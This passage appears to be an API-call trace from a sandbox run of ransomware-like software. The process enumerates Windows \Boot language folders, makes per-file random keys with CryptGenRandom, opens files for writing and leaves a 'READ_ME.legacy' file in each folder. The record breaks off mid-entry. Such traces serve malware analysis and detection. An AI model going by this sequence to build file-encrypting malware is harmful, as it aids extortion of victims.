lpMem=0x563dc0 | out: hHeap=0x520000) returned 1 [0109.287] FindFirstFileW (in: lpFileName="\\Boot\\ko-KR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0668 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.287] GetLastError () returned 0x5 [0109.287] SetLastError (dwErrCode=0x5) [0109.287] GetLastError () returned 0x5 [0109.287] SetLastError (dwErrCode=0x5) [0109.287] GetLastError () returned 0x5 [0109.287] SetLastError (dwErrCode=0x5) [0109.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03a8 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03a8 | out: hHeap=0x520000) returned 1 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0109.288] FindNextFileW (in: hFindFile=0x5a0668, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.288] GetLastError () returned 0x5 [0109.288] SetLastError (dwErrCode=0x5) [0109.288] GetLastError () returned 0x5 [0109.288] SetLastError (dwErrCode=0x5) [0109.288] GetLastError () returned 0x5 [0109.288] SetLastError (dwErrCode=0x5) [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04a8 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04a8 | out: hHeap=0x520000) returned 1 [0109.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0109.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0109.289] FindNextFileW (in: hFindFile=0x5a0668, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.289] FindNextFileW (in: hFindFile=0x5a0668, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] GetLastError () returned 0x5 [0109.289] SetLastError (dwErrCode=0x5) [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.289] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.289] FindNextFileW (in: hFindFile=0x5a0668, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.290] GetLastError () returned 0x5 [0109.290] SetLastError (dwErrCode=0x5) [0109.290] GetLastError () returned 0x5 [0109.290] SetLastError (dwErrCode=0x5) [0109.290] GetLastError () returned 0x5 [0109.290] SetLastError (dwErrCode=0x5) [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.290] FindNextFileW (in: hFindFile=0x5a0668, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580180 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1148 [0109.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580180 | out: pbBuffer=0x580180) returned 1 [0109.290] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1148 | out: pbBuffer=0x5c1148) returned 1 [0109.290] SetFileAttributesW (lpFileName="\\Boot\\ko-KR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.290] CreateFileW (lpFileName="\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c1e08 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10a8 [0109.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c1e08 | out: pbBuffer=0x5c1e08) returned 1 [0109.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c10a8 | out: pbBuffer=0x5c10a8) returned 1 [0109.291] SetFileAttributesW (lpFileName="\\Boot\\ko-KR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.291] CreateFileW (lpFileName="\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f50 | out: hHeap=0x520000) returned 1 [0109.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563fc8 | out: hHeap=0x520000) returned 1 [0109.291] FindFirstFileW (in: lpFileName="\\Boot\\lt-LT\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0568 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.292] GetLastError () returned 0x5 [0109.292] SetLastError (dwErrCode=0x5) [0109.292] GetLastError () returned 0x5 [0109.292] SetLastError (dwErrCode=0x5) [0109.292] GetLastError () returned 0x5 [0109.292] SetLastError (dwErrCode=0x5) [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d710 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00a8 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x520000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0109.292] FindNextFileW (in: hFindFile=0x5a0568, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.292] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.292] GetLastError () returned 0x5 [0109.292] SetLastError (dwErrCode=0x5) [0109.292] GetLastError () returned 0x5 [0109.293] SetLastError (dwErrCode=0x5) [0109.293] GetLastError () returned 0x5 [0109.293] SetLastError (dwErrCode=0x5) [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00a8 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x520000) returned 1 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0109.293] FindNextFileW (in: hFindFile=0x5a0568, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.293] GetLastError () returned 0x5 [0109.293] SetLastError (dwErrCode=0x5) [0109.293] GetLastError () returned 0x5 [0109.293] SetLastError (dwErrCode=0x5) [0109.293] GetLastError () returned 0x5 [0109.293] SetLastError (dwErrCode=0x5) [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.293] FindNextFileW (in: hFindFile=0x5a0568, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.293] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.294] GetLastError () returned 0x5 [0109.294] SetLastError (dwErrCode=0x5) [0109.294] GetLastError () returned 0x5 [0109.294] SetLastError (dwErrCode=0x5) [0109.294] GetLastError () returned 0x5 [0109.294] SetLastError (dwErrCode=0x5) [0109.294] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.294] FindNextFileW (in: hFindFile=0x5a0568, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.294] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2438 | out: pbBuffer=0x5c2438) returned 1 [0109.294] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c0fd8 | out: pbBuffer=0x5c0fd8) returned 1 [0109.294] SetFileAttributesW (lpFileName="\\Boot\\lt-LT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.295] CreateFileW (lpFileName="\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564040 | out: hHeap=0x520000) returned 1 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564068 | out: hHeap=0x520000) returned 1 [0109.295] FindFirstFileW (in: lpFileName="\\Boot\\lv-LV\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0268 [0109.295] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.295] GetLastError () returned 0x5 [0109.295] SetLastError (dwErrCode=0x5) [0109.295] GetLastError () returned 0x5 [0109.295] SetLastError (dwErrCode=0x5) [0109.295] GetLastError () returned 0x5 [0109.295] SetLastError (dwErrCode=0x5) [0109.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0109.295] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0109.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.296] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0109.296] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0109.296] FindNextFileW (in: hFindFile=0x5a0268, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.299] GetLastError () returned 0x5 [0109.299] SetLastError (dwErrCode=0x5) [0109.299] GetLastError () returned 0x5 [0109.299] SetLastError (dwErrCode=0x5) [0109.299] GetLastError () returned 0x5 [0109.299] SetLastError (dwErrCode=0x5) [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0109.299] FindNextFileW (in: hFindFile=0x5a0268, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.299] GetLastError () returned 0x5 [0109.299] SetLastError (dwErrCode=0x5) [0109.299] GetLastError () returned 0x5 [0109.299] SetLastError (dwErrCode=0x5) [0109.299] GetLastError () returned 0x5 [0109.300] SetLastError (dwErrCode=0x5) [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.300] FindNextFileW (in: hFindFile=0x5a0268, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.300] GetLastError () returned 0x5 [0109.300] SetLastError (dwErrCode=0x5) [0109.300] GetLastError () returned 0x5 [0109.300] SetLastError (dwErrCode=0x5) [0109.300] GetLastError () returned 0x5 [0109.300] SetLastError (dwErrCode=0x5) [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.300] FindNextFileW (in: hFindFile=0x5a0268, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, 